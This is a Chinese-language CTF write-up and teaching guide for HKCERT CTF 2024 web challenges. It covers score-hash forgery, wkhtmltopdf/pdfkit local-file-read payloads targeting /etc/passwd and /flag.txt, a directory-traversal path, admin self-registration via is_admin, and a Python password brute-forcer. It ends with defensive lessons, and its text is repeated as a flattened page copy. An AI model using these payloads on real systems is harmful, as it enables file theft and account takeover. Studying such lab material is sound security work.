2024 hkcertctf web 部分wp
字数 1601 2025-08-22 12:23:00

HKCERT CTF 2024 Web题目解析与教学文档

1. 新免費午餐题目解析

1.1 题目概述

这是一个基于浏览器的点击游戏,玩家需要在60秒内尽可能多地点击黑色方块来获取分数。游戏结束后,分数会通过update_score.php接口提交到服务器。

1.2 关键代码分析

1.2.1 游戏逻辑

  • 游戏创建4x4的网格,每行随机生成一个黑色方块
  • 点击黑色方块得分,点击白色方块游戏结束
  • 游戏时间60秒,结束后调用endGame()函数

1.2.2 分数提交机制

async function endGame() {
    clearInterval(gameInterval);
    clearInterval(timerInterval);
    alert('Game Over! Your score: ' + score);
    
    const hash = generateHash(secretKey + username + score);
    
    fetch('/update_score.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Authorization': `Bearer ${token}`
        },
        body: JSON.stringify({
            score: score,
            hash: hash
        })
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            alert('Score updated!');
        } else {
            alert('Failed to update score.');
        }
        location.reload();
    });
}

1.2.3 哈希生成方式

function generateHash(data) {
    return sha256(data);
}

const secretKey = '3636f69fcc3760cb130c1558ffef5e24';
const username = "a12345678";
const token = "605b9cfc7706342f2c9bdd45f48a9581";

1.3 漏洞点

哈希计算方式为sha256(secretKey + username + score),所有参数都暴露在前端代码中,攻击者可以:

  1. 直接修改本地分数
  2. 根据已知参数构造合法的哈希值
  3. 提交任意高分到服务器

1.4 利用方法

  1. 修改本地score变量为300(flag要求的分数)
  2. 计算sha256("3636f69fcc3760cb130c1558ffef5e24" + "a12345678" + "300")
  3. 构造POST请求提交分数

2. PDF生成器(1)题目解析

2.1 题目功能

  • 提供URL输入框,将网页内容转换为PDF
  • 后端流程:
    1. 访问用户提供的URL
    2. 将响应写入HTML文件
    3. 使用wkhtmltopdf将HTML转换为PDF

2.2 漏洞分析

  1. 文件路径可控:通过修改sessionid可以控制html_file和pdf_file路径
  2. wkhtmltopdf漏洞:存在本地文件读取漏洞,可通过--enable-local-file-access参数开启

2.3 利用方法

  1. 准备恶意HTML文件:
<script>
x = new XMLHttpRequest();
x.open("GET", 'file:///etc/passwd', false);
x.send();
document.write(x.responseText);
</script>
  1. 分两步利用:
    • 先不带参数访问创建文件
    • 再带--enable-local-file-access参数访问读取flag

3. PDF生成器(2)题目解析

3.1 与第一版的区别

  • 使用pdfkit.from_string代替直接命令执行
  • 但仍会从HTML的meta标签读取wkhtmltopdf参数

3.2 利用方法

构造包含以下meta标签的HTML:

<meta name="pdfkit-enable-local-file-access" content="" />
<script>
x = new XMLHttpRequest();
x.open("GET", 'file:///flag.txt', false);
x.send();
document.write(x.responseText);
</script>

4. 已知用火(1)题目解析

4.1 题目功能

  • 提供文件读取功能
  • 路径拼接方式:public/ + 用户输入
  • 后缀检查:必须是以.txt结尾

4.2 漏洞分析

  1. 目录穿越:可以构造../../../etc/passwd.txt这样的路径
  2. 长度限制snprintf限制为1024字节,减去public/的7字节,实际可用1017字节

4.3 利用方法

构造足够长的路径穿越到目标文件,并确保以.txt结尾:

../../../../../../../etc/passwd.txt

5. 米斯蒂茲的迷你CTF题目解析

5.1 题目(2)解析

  • 存在api/admin/challenges接口需要admin权限
  • 96fa27cc07b9_init.py中发现id为1337的题目,发布时间是365天后,描述中包含flag2

漏洞点

注册接口可以传入is_admin=True直接注册管理员账户

5.2 题目(1)解析

  • flag1存储在attempt表中
  • 可以通过登录普通用户(player)获取flag
  • 需要爆破用户密码

密码爆破方法

import hashlib
import itertools
import concurrent.futures

def compute_hash(password, salt):
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

def brute_force_find(passwd, salt, charset, length):
    for password_tuple in itertools.product(charset, repeat=length):
        password = ''.join(password_tuple)
        res = compute_hash(password, salt)
        if passwd in res:
            return password

def main():
    passwd = "744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94"
    salt = "77364c85"
    charset = '0123456789abcdef'
    length = 6
    
    with concurrent.futures.ThreadPoolExecutor() as executor:
        futures = [executor.submit(brute_force_find, passwd, salt, charset, length) for _ in range(4)]
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(result)
                break

if __name__ == "__main__":
    main()

6. 总结与教学要点

  1. 前端安全

    • 敏感信息不应暴露在前端代码中
    • 关键逻辑(如分数验证)应在服务端完成
  2. 文件操作安全

    • 用户输入的文件路径必须严格过滤
    • 使用第三方工具时需了解其安全参数
  3. 权限控制

    • 关键接口必须进行严格的权限验证
    • 用户注册时不应允许直接设置权限标志
  4. 密码安全

    • 使用强哈希算法(如SHA256加盐)
    • 但短密码仍可能被爆破,应设置足够复杂度要求
  5. CTF解题技巧

    • 仔细阅读前端代码,寻找硬编码的敏感信息
    • 分析所有可能的输入点,尝试各种注入方式
    • 了解常见工具的安全问题和配置参数
HKCERT CTF 2024 Web题目解析与教学文档 1. 新免費午餐题目解析 1.1 题目概述 这是一个基于浏览器的点击游戏,玩家需要在60秒内尽可能多地点击黑色方块来获取分数。游戏结束后,分数会通过 update_score.php 接口提交到服务器。 1.2 关键代码分析 1.2.1 游戏逻辑 游戏创建4x4的网格,每行随机生成一个黑色方块 点击黑色方块得分,点击白色方块游戏结束 游戏时间60秒,结束后调用 endGame() 函数 1.2.2 分数提交机制 1.2.3 哈希生成方式 1.3 漏洞点 哈希计算方式为 sha256(secretKey + username + score) ,所有参数都暴露在前端代码中,攻击者可以: 直接修改本地分数 根据已知参数构造合法的哈希值 提交任意高分到服务器 1.4 利用方法 修改本地 score 变量为300(flag要求的分数) 计算 sha256("3636f69fcc3760cb130c1558ffef5e24" + "a12345678" + "300") 构造POST请求提交分数 2. PDF生成器(1)题目解析 2.1 题目功能 提供URL输入框,将网页内容转换为PDF 后端流程: 访问用户提供的URL 将响应写入HTML文件 使用 wkhtmltopdf 将HTML转换为PDF 2.2 漏洞分析 文件路径可控 :通过修改sessionid可以控制html_ file和pdf_ file路径 wkhtmltopdf漏洞 :存在本地文件读取漏洞,可通过 --enable-local-file-access 参数开启 2.3 利用方法 准备恶意HTML文件: 分两步利用: 先不带参数访问创建文件 再带 --enable-local-file-access 参数访问读取flag 3. PDF生成器(2)题目解析 3.1 与第一版的区别 使用 pdfkit.from_string 代替直接命令执行 但仍会从HTML的meta标签读取wkhtmltopdf参数 3.2 利用方法 构造包含以下meta标签的HTML: 4. 已知用火(1)题目解析 4.1 题目功能 提供文件读取功能 路径拼接方式: public/ + 用户输入 后缀检查:必须是以 .txt 结尾 4.2 漏洞分析 目录穿越 :可以构造 ../../../etc/passwd.txt 这样的路径 长度限制 : snprintf 限制为1024字节,减去 public/ 的7字节,实际可用1017字节 4.3 利用方法 构造足够长的路径穿越到目标文件,并确保以 .txt 结尾: 5. 米斯蒂茲的迷你CTF题目解析 5.1 题目(2)解析 存在 api/admin/challenges 接口需要admin权限 在 96fa27cc07b9_init.py 中发现id为1337的题目,发布时间是365天后,描述中包含flag2 漏洞点 注册接口可以传入 is_admin=True 直接注册管理员账户 5.2 题目(1)解析 flag1存储在attempt表中 可以通过登录普通用户(player)获取flag 需要爆破用户密码 密码爆破方法 6. 总结与教学要点 前端安全 : 敏感信息不应暴露在前端代码中 关键逻辑(如分数验证)应在服务端完成 文件操作安全 : 用户输入的文件路径必须严格过滤 使用第三方工具时需了解其安全参数 权限控制 : 关键接口必须进行严格的权限验证 用户注册时不应允许直接设置权限标志 密码安全 : 使用强哈希算法(如SHA256加盐) 但短密码仍可能被爆破,应设置足够复杂度要求 CTF解题技巧 : 仔细阅读前端代码,寻找硬编码的敏感信息 分析所有可能的输入点,尝试各种注入方式 了解常见工具的安全问题和配置参数